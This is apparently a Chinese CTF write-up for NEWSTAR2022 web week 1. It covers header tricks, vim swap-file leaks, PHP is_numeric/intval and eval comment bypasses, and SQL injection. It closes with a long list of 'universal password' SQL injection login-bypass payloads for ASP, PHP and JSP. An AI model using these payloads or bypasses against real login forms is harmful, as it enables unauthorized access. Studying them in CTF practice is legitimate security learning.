NEWSTART2022 web week1

文章探讨了HTTP头的使用技巧,vim编辑器的缓存机制,如何利用is_numeric和intval函数特性进行绕过,以及PHP中的eval函数和SQL注入技巧,涉及弱等于操作和密码破解策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

01HTTP 

 

flag{f1cb35f5-05de-4559-8f99-28e1f11df403} 

02Head?Header!

或者xxf头:localhost

 03我真的会谢

这个题目比之前有意思多了 

可知是vim缓存,利用vim缓存知识:
使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除。vim异常退出后,因为未处理缓存文件不会被删除,可以通过缓存文件恢复原始文件内容以 index.php 为例:
第一次vim会创建缓存的交换文件名为 .index.php.swp,
再次意外退出后,将会产生名为 .index.php.swo 的交换文件,
第三次产生的交换文件则为 .index.php.swn。

所以利用:.index.php.swp查看目录

由提示去找隐藏文件,有robots.txt 

找www.zip 

 

flag{Th1s_Is_s000_e4sy_d0_y00u_th1nk_so?}

备份文件下载:通常.index.php.swp   .index.php.swp  www.zip  robots.txt\

04NOTPHP

这个题目是最有意思的一题 

 PHP is_numeric() 函数
is_numeric() 函数用于检测变量是否为数字或数字字符串。

语法
bool is_numeric ( mixed $var )
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,浮点型返回空值即 FALSE,不仅检查十进制,同时也检查十六进制

绕过方法 
is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后,因为查看函数发现该函数对于第一个空格字符会跳过空格字符直接判断后面的内容

构造:

   ?num = 1%00
    ?num = 1%20
    ?num = 1'
    ?num = 1a

对于这道题来说只要在1后跟任意字符都可以绕过is_numeric函数的判断
这道题的主要考点并非is_numeric函数而是对弱等于的绕过

学习函数最好的方式就是去学习官方的,这样学习得到的收获更多一些,这里我们先来看一下这个函数定义

intval — 获取变量的整数值
1
而它的具体格式和解释如下

int intval( var,base)
//var指要转换成 integer 的数量值,base指转化所使用的进制 
Note: 
如果 base 是 0,通过检测 var 的格式来决定使用的进制: 
◦ 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,  
◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则,  
◦ 将使用 10 进制 (decimal)。 
 

intval() 函数可以获取变量的「整数值」。常用于强制类型转换

语法

<span style="color:#000000"><span style="background-color:#fafafa"><code class="language-php"><span style="color:#0077aa">int</span> <span style="color:#dd4a68">intval</span><span style="color:#999999">(</span> <span style="color:#ee9900">$var</span><span style="color:#999999">,</span> <span style="color:#ee9900">$base</span> <span style="color:#999999">)</span>
</code></span></span>
  • 1

参数

  • $var:需要转换成 integer 「变量」
  • $base:转换所使用的「进制」

    返回值

    返回值为 integer 类型,可能是 0 或 1 或 其他integer 值。

  • 0:失败 或 空array 返回 0
  • 1:非空array 返回 1
  • 其他integer值:成功时 返回 $var 的 integer 值。

    返回值的「最大值」取决于系统

  • 32 位系统(-2147483648 到 2147483647)
  • 64 位系统(-9223372036854775808到9223372036854775807)

    最后汇总一下intval()函数漏洞的绕过思路:

    1)当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。
    2)对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
    3)当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。
    4)当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)
    5)当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。
    6)当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。

在PHP中,#字符是注释符号,用于注释一行代码。当在eval函数中使用#时,它将注释掉$_GET['cmd']参数中#以及其后的所有内容,使其不会作为有效的PHP代码被执行。

eval("#".$_GET['cmd']);

eval() 函数把字符串按照 PHP 代码来计算

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

.拼接字符串,#后的被注释了,可以用%0a换行绕过,或者?>闭合。

%0a是换行符,#只能对后面的注释

?>将#闭合,使#无法在后面的语句中发挥作用<?#?>

如果不用?><?只有前面的?> 后面会当字符串输出

 flag{26318b2d-58ac-4640-bd62-cdd9bbc25818}

得到flag

05Word-For-You

 把flag放到了数据库

这里试了试不写东西会有弹窗,有可能是sql xxs等等,先试试sql注入直接出来了,用and不行后面没注释也不行

用万能密码也行1′ or 1=1 or ‘1’=’1

用时间盲注测试也有反应,这里不做演示

得到flag:flag{Th1s_is_0_simp1e_S0L_test}

下面是积累的:

' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便

PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1

jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值